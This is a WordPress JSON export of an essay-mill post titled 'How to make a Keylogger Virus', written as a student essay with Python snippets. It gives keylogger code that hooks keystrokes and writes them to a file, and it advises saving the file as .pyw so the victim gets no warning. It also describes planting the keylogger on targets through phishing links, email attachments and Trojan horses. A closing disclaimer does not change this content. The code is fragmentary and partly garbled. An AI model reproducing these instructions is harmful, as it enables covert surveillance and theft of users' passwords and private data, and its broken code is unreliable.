{"id":106142,"date":"2022-09-26T00:00:00","date_gmt":"2022-09-26T00:00:00","guid":{"rendered":"https:\/\/nursingstudybay.com\/2022\/09\/26\/how-to-make-a-keylogger-virus-2\/"},"modified":"2022-09-26T00:00:00","modified_gmt":"2022-09-26T00:00:00","slug":"how-to-make-a-keylogger-virus-2","status":"publish","type":"post","link":"https:\/\/www.studyproessays.com\/help\/how-to-make-a-keylogger-virus-2\/","title":{"rendered":"How to make a Keylogger Virus"},"content":{"rendered":"<p>How to make a Keylogger Virus<br \/>\nWrite an essay on how to make a Keylogger Virus. Include Code snippets to represent examples.<\/p>\n<p>How to make a Keylogger Virus<br \/>\nA key logger is a virus that can be used to monitor keystrokes on a computer and keeps records of them. It may look like a very harmless tool but in the hands of a cybercriminal, it could be used to steal information from unaware users. It can be installed on devices through online links, webpage scripts, and email attachments (George, 2018). Such a virus can exploit web browser vulnerabilities and sometimes it can infect the system and download malware. To make this virus, there are four very important stepped to follow.<br \/>\n1.\tInstalling python<br \/>\nUnless one already has python on their machine, it is important to install Python 2.7 as well as accompanying modules such as PyHook and Pywin32.<br \/>\nThe modules are then imported using the following codes<br \/>\nimport logging, sys,<br \/>\nimport pythoncom , pyHook<\/p>\n<p>file_log = &#8216;C:\\imp\\log.txt&#8217;<\/p>\n<p>This is to ensure that one can use the modules when coding.<br \/>\n2.\tCreating the code<br \/>\nFirst, the logging directory is provided so that the file lies in the same location as the script. In this case, the logging is \u2018keyloggeroutput,txt\u2019.<br \/>\nfile_log = &#8216;keyloggeroutput.txt&#8217;<br \/>\nSecond, the logging configurations are set up.<br \/>\ndef OnKeyboardEvent(event):<br \/>\nlogging.basicConfig(filename=file_log, level=logging.DEBUG, format=&#8217;%(message)s&#8217;)<br \/>\nThere are three parameters within the basicConfig() where the filename can be given.<br \/>\nNext are the key press listeners that mostly record keystrokes as a user performs actions using the machine.<br \/>\nchr(event.Ascii)<br \/>\nlogging.log(10,chr(event.Ascii))<br \/>\nreturn True<br \/>\nhooks_manager = pyHook.HookManager()<br \/>\nhooks_manager.KeyDown = OnKeyboardEvent<br \/>\nhooks_manager.HookKeyboard()<br \/>\npythoncom.PumpMessages()<br \/>\nOnce done coding, the file should be saved as .pyw instead of the normal .py extension. This is because keyloggers are meant to operate in discrete and run in the background. If the coder saves the program as a .py it will open up a console window when run. This will alert the user that they are being spied on. However, with a .pyw the program runs undetected in the background.<br \/>\n3.\tTesting the code<br \/>\nIn order to ensure that the code is working, one can open the saved file and carry out a small test. Once the file is open, it is necessary to type a few things first as if everything is normal. Then, the next step involves killing all the python processes on the task manager. On the same directory as the keylogger file, there should be a keyloggeroutput.txt file. This file should contain the details of the typed activity while the python process was on.<br \/>\n4.\tRunning the Code<br \/>\nTo run the code, it has to be installed on the target device first. One can decide whether they want to install the program directly into a target\u2019s computer or use online phishing links (Comodo, 2020). To avoid opening the file processes, one should open the command terminal and type python followed by the file name then press enter. When the results of the keylogger are needed, they can be accessed using \u2018 C :   imp   log . txt \u2018 If the coder cannot access the target device, then they can use email attachments or online links. Trojan horses are a way to disguise keyloggers since most people may fall for them.<br \/>\nIn conclusion, a keylogger virus is easy to code and execute. However, it should not be used for malicious purposes as breach of online privacy is a crime. Using the four easy steps, it is easy to create a key logger and use it against the target system.<br \/>\nReferences<br \/>\nComodo. (2020). What is a Keylogger: A Brief On a Dangerous and Malicious Tool. Comodo. Retrieved from https:\/\/enterprise.comodo.com\/what-is-a-keylogger.php<br \/>\nGeorge, J. (2018). Simple Keylogger in Python. Medium. Retrieved from https:\/\/medium.com\/@jamesgeorge007\/simple-keylogger-in-python-3e662d8fda94<\/p>\n","protected":false},"excerpt":{"rendered":"<p>How to make a Keylogger Virus Write an essay on how to make a Keylogger Virus. Include Code snippets to represent examples. How to make\u2026<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7650,7624,1387,7654,667,7649,7653,7652],"tags":[103,95,83,94,80,86,79,98,93,104,7647,99,92,82,102,85,8,101,97,87,96,91,89,90,88,100,1402,84,6940,81],"class_list":["post-106142","post","type-post","status-publish","format-standard","hentry","category-assignment-writing-help","category-dissertation-help","category-dissertation-writing-service","category-healthcare-assignment-help","category-nursing-essay","category-research-essay-help","category-write-my-essay-for-me","category-write-my-essay-online","tag-150-200-words-discussion-with-a-scholarly-reference","tag-200-300-words-response-to-classmate-discussion-question","tag-250-word-analysis-essay","tag-bachelor-of-nursing-assignments","tag-case-study","tag-essay-bishops-website","tag-expert-online-nursing-writing-service","tag-fast-nursing-papers","tag-freelance-case-study-writing-service","tag-health-medicine-assignment-help-australia","tag-health-care-an","tag-health-care-assignment-help-service","tag-healthcare-assignment-writing-services-by-top-writers","tag-healthcare-essay-writing-services-by-medical-academics","tag-healthcare-writing-help-by-certified-medical-academics","tag-i-need-to-submit-this-assignment","tag-medical-essay-writing-service","tag-nursing-assessment-help","tag-nursing-assignment-help","tag-nursing-assignment-help-australia","tag-nursing-assignment-help-sydney","tag-nursing-assignment-writers","tag-nursing-assignments-examples-assignment-help-nursing","tag-pay-someone-to-do-my-nursing-assignment","tag-professional-case-study-writers","tag-quality-nursing-essay-writing-service","tag-write-a-paper","tag-write-a-review","tag-write-an-essay","tag-writing-assignment"],"_links":{"self":[{"href":"https:\/\/www.studyproessays.com\/help\/wp-json\/wp\/v2\/posts\/106142","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.studyproessays.com\/help\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.studyproessays.com\/help\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.studyproessays.com\/help\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.studyproessays.com\/help\/wp-json\/wp\/v2\/comments?post=106142"}],"version-history":[{"count":0,"href":"https:\/\/www.studyproessays.com\/help\/wp-json\/wp\/v2\/posts\/106142\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.studyproessays.com\/help\/wp-json\/wp\/v2\/media?parent=106142"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.studyproessays.com\/help\/wp-json\/wp\/v2\/categories?post=106142"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.studyproessays.com\/help\/wp-json\/wp\/v2\/tags?post=106142"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}